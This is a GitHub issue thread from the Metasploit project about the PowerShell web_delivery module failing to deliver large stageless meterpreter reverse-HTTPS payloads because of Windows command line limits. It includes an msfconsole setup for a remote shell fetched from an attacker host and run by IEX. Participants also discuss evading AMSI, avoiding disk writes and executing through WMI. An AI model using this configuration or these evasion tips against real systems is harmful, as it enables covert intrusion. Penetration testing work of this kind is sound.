metasploit-framework
metasploit-framework copied to clipboard
web_delivery + PSH should support full stageless payloads without command line limits
I was expecting to deliver full stageless payloads with PSH + web_delivery but it seems there is a command line limit restriction in the way.
use multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter_reverse_https
set EXTENSIONS stdapi,priv
set LHOST a.b.c.d
set LPORT xxx
set exitonsession false
set URIPATH /test
well, it really doesn't matter adding stdapi and priv, with the full metsrv is enough to break the command line limit
when downloading payload from /test URI
web_delivery - Exception handling request: Powershell command length is greater than the command line maximum (8192 characters)
problem is downloaded execution method tries to run a command line along the way
$p=[System.Diagnostics.Process]::Start($s);
I don't clearly see why there should be this command line restriction when we are already running powershell code victim side and we are able to execute whatever powershell script we download with IEX
Am I missing something obvious here?
I'm using latest dev version
I've already tried Powershell::remove_comspec and Powershell::exec_in_place with same results.
Maybe generated payload should be smarter in this case and not use command line as it will be executed by IEX anyway no matter how large it is.
Hi @kayaker-msf,
Thanks for looking into it. I also tried to look into it myself, first by removing the restriction, and then I got this error from the Windows box:
Exception calling "Start" with "1" argument(s): "The filename or extension is too long"
At line:1 char:169644
+ ... ';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : Win32Exception
And it failed to create a session for me.
So based on this article, the max limit of any script block or invoke-command is 12190 bytes. Since a raw windows/x64/meterpreter_reverse_https is 206937 bytes, it exceeds that, so looks like size does matter in this case.
I also have to admit that I am not super familiar with Powershell, so if I am not understanding the problem correctly, please let me know. If you believe this explains the restriction, I could close the ticket. Thanks!
yeah, the problem is the script downloaded and executed inside IEX is again trying to start a process with a command line, and that's has a limit, that's right. But IEX shouldn't. Don't know if or which IEX poweshell version has the limit, but I've loadead into a powershell variable a full stageless psh-net generated with msfvenom plus stdapi and priv ( almost 1 Mb ) and executed with IEX with no problem at all (and got a shell )
I guess in command.rb
https://github.com/rapid7/rex-powershell/blob/af4f08b10df53dcd8cf3746ec4363d8f4a42262f/lib/rex/powershell/command.rb#L344
shouldn't call run_hidden_psh when opts[:exec_in_place] that option seems just thought for that
# @option opts [TrueClass,FalseClass] :exec_in_place Removes the
# executable wrappers from the powershell code returning raw PSH
# for executing with an existing PSH context
when exec in place shouldn't try to generate another command line again inside of it, that's imposing an innecesary length limit and shooting ourselves on the foot for larger payloads
we lose architecture detection without it, but that can be done in the powershell script client side.
@kayaker-msf: exec in place is your friend just for this sort of thing. IEX is NOT your friend anymore. AMSI has seen to that. If you're doing stageless via psh I suggest using a Rex PSH script object without the CLI wrapper since its well beyond the 8k char limit anyway.
yes, but I have 2 restrictions, I execute powershell at the client with remote WMI exec ( so I have a limited command line length in the first execution, that's why IEX is good ) and I don't want to touch disk at all in the client (no dropping files), that's why web_delivery was my choice. So far in my environment AMSI is not blocking me yet.
by the way, some time ago I was using this method staged and everything was ok, but now powershell crashes when staged, so I had to go stageless ( theres a couple of issues about that 6805 and 9371 but seems no fix yet or it's not easily reproduced or maybe not the same problem as I have at all ... )
I can host the full stageless powershell script in a separate web server, but that's the whole point of web delivery.
I guess there should be another parameter, exec_in_place_psh or something like that, that avoid the start process commmand line ([System.Diagnostics.Process]::Start) and does not check total limit.
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
hello, am getting following error when trying to create a script. appreciate with your suggestions
web_delivery - Delivering AMSI Bypass (1382 bytes
web_delivery - Exception handling request: Powershell command length is greater than the command line maximum (8192 characters)